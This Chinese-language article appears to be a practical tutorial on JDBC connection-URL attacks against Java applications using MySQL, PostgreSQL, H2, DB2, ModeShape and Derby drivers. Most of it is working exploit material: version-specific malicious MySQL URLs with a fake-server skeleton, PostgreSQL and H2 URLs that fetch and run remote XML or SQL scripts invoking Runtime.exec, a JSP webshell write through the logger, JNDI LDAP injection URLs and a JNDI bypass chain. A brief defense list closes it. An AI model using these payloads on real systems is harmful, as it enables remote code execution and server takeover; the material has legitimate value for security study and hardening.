JDBC Attack漫谈
字数 1118 2025-08-22 22:47:30
JDBC攻击技术全面解析与实战指南
一、JDBC攻击概述
JDBC(Java Database Connectivity)是Java提供的数据库连接标准API,攻击者通过控制JDBC URL参数指向恶意SQL服务器,利用不同数据库驱动的特性实现攻击。
关键攻击点
- MySQL:通过
autoDeserialize参数触发反序列化 - PostgreSQL:利用
socketFactory参数实现SPEL注入 - H2 Database:通过
INIT参数执行远程SQL脚本 - DB2:利用
clientRerouteServerListJNDIName触发JNDI注入 - Derby:通过反序列化漏洞实现RCE
二、MySQL JDBC攻击详解
攻击原理
当autoDeserialize=true时,MySQL JDBC客户端会自动反序列化服务端返回的数据。
攻击流程
- 客户端连接恶意MySQL服务器
- 服务器返回精心构造的序列化数据
- 客户端在
ResultSetUtil.resultSetToMap中调用getObject触发反序列化
不同版本利用方式
- 8.x:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor - 6.x:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor - 5.1.11+:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor - 5.1.28-5.1.40:
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
恶意MySQL服务器实现
可使用MySQL_Fake_Server或自行实现:
public class JDBC_Attack_server {
private static final String GREETING_DATA = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400";
private static final String RESPONSE_OK_DATA = "0700000200000002000000";
public static void main(String[] args) {
try (ServerSocket serverSocket = new ServerSocket(3306)) {
while (true) {
try (Socket clientSocket = serverSocket.accept()) {
// 发送问候数据
sendData(clientSocket, GREETING_DATA);
// 处理客户端请求
// ...
// 发送恶意序列化数据
sendData(clientSocket, getPayloadContent());
}
}
}
}
}
三、PostgreSQL JDBC攻击
攻击条件
- 影响版本:9.4.1208 <= PgJDBC < 42.2.25 或 42.3.0 <= PgJDBC < 42.3.2
- 需要Spring相关依赖
出网利用
String URL = "jdbc:postgresql://127.0.0.1:11111/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8888/exp.xml";
DriverManager.getConnection(URL);
exp.xml内容:
<beans xmlns="http://www.springframework.org/schema/beans">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc"/>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
不出网利用
利用logger写文件:
String URL = "jdbc:postgresql://127.0.0.1:11111/test/?loggerLevel=DEBUG&loggerFile=shell.jsp&<%Runtime.getRuntime().exec(\"calc\n";
四、H2 Database攻击
环境搭建
java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
攻击方式
- 远程SQL脚本执行:
poc.sql内容:jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'CREATE ALIAS shell AS
\[ void shell(String s) throws Exception { java.lang.Runtime.getRuntime().exec(s); } \]
;
SELECT shell('cmd /c calc');
2. **JavaScript触发器**:
jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("calc")'
3. **Groovy AST注入**(需groovy依赖):
jdbc:h2:mem:test;init=CREATE ALIAS shell2 AS
\[@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")})def x \]
## 五、其他数据库攻击
### IBM DB2
```java
// 需要先创建数据库
DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/exp");
ModeShape
直接JNDI注入:
DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/exp");
Apache Derby
- 创建数据库:
DriverManager.getConnection("jdbc:derby:dbname;create=true"); - 触发反序列化:
DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
六、高版本JNDI绕过技巧
利用Tomcat或commons-dbcp的BasicDataSourceFactory:
// 设置JNDI环境
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
// 创建ResourceRef
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,
"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
// 设置恶意JDBC URL
String JDBC_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
// 绑定到JNDI
InitialContext context = new InitialContext(env);
context.bind("remoteImpl", ref);
七、防御建议
- 及时更新数据库驱动到最新版本
- 严格验证JDBC连接参数,特别是URL部分
- 限制数据库连接的网络出口,防止连接到恶意服务器
- 使用白名单机制控制允许连接的数据库
- 禁用不必要的数据库功能(如自动反序列化)